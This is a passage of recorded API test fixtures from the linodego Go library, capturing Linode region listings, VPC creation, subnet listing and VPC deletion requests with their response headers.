Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728778299724000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1720728778497595000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74457, "label": "go-test-vpc-1720728778299724000", "description": "", "region": "us-iad", "subnets": [{"id": 72310, "label": "linodego-vpc-test-1720728778497595000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74457/subnets?page=1 method: GET response: body: '{"data": [{"id": 72310, "label": "linodego-vpc-test-1720728778497595000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "235" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74457 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_Subnet_Update.yaml000066400000000000000000000640771474652371000316000ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", 